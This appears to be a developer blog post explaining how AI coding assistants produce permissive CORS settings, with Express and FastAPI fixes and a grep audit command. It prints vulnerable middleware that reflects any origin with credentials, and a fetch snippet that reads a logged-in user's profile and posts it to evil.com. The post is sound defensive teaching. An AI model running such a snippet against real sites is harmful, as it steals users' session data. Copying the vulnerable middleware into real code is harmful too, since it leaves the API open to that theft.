TL;DR
- AI assistants routinely generate CORS configs that allow any origin to read credentialed responses
- This is exploitable from any attacker-controlled website, no phishing required
- Fix: whitelist origins explicitly and never combine wildcard origins with credentials
I was reviewing a side project last month - a small Express API a friend had built with Cursor. The app handled user sessions with JWT cookies. Functionally it worked fine. But the CORS config caught my eye immediately.
This is what the AI had generated:
// CWE-942: Permissive Cross-domain Policy with Untrusted Domains
app.use(cors({
origin: '*',
credentials: true
}));
That combination isn't just wrong. It's exploitable. Any website a user visits can make credentialed requests to this API and read the response. The browser actually refuses the * + credentials combo per spec, but developers hit the resulting CORS error and "fix" it by reflecting the Origin header back instead:
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin); // CWE-942
res.header('Access-Control-Allow-Credentials', 'true');
next();
});
Now it works. And now any attacker can do this from evil.com:
fetch('https://yourapi.com/api/user/profile', {
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(data) });
});
The user just has to visit a page the attacker controls while logged into your app. No phishing. No malware install. Just a browser doing exactly what you told it to do.
Why AI Keeps Generating This
The CORS pattern that saturates Stack Overflow from 2016 to 2019 is overwhelmingly origin: '*'. It was the fastest fix for a frustrated developer hitting CORS errors during local development. Thousands of answers, tutorials, and GitHub repos used it. Models trained on that data reproduce it.
The credentials flag gets added separately, usually when someone asks "how do I send cookies with fetch?" The model obliges without connecting the two pieces. It doesn't reason about their interaction. It matches patterns from training data where those questions appeared independently.
The Fix
Whitelist origins explicitly. If you need credentials, you must specify exact origins:
const allowedOrigins = [
'https://yourapp.com',
'https://staging.yourapp.com'
];
app.use(cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, origin);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
The !origin check allows server-to-server requests and curl, which send no Origin header. Remove it if you want to block those too.
For FastAPI:
from fastapi.middleware.cors import CORSMiddleware
app.add_middleware(
CORSMiddleware,
allow_origins=["https://yourapp.com"], # never "*" with credentials
allow_credentials=True,
allow_methods=["GET", "POST"],
allow_headers=["Authorization"],
)
FastAPI will warn if you combine allow_credentials=True with allow_origins=["*"], but it's easy to miss in noisy logs.
Checking Your Own Projects
Grep your codebase for the combination:
grep -rn "credentials.*true\|allow_credentials.*True" . | grep -v "node_modules"
Check every hit. Verify the corresponding origin handling is explicit, not wildcard or reflective. If you find a CORS middleware that echoes req.headers.origin back without checking it against a list, that's the bug.
I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags these patterns before I move on. That said, even a basic pre-commit hook with semgrep and gitleaks will catch most of what's in this post. The important thing is catching it early, whatever tool you use.
Top comments (0)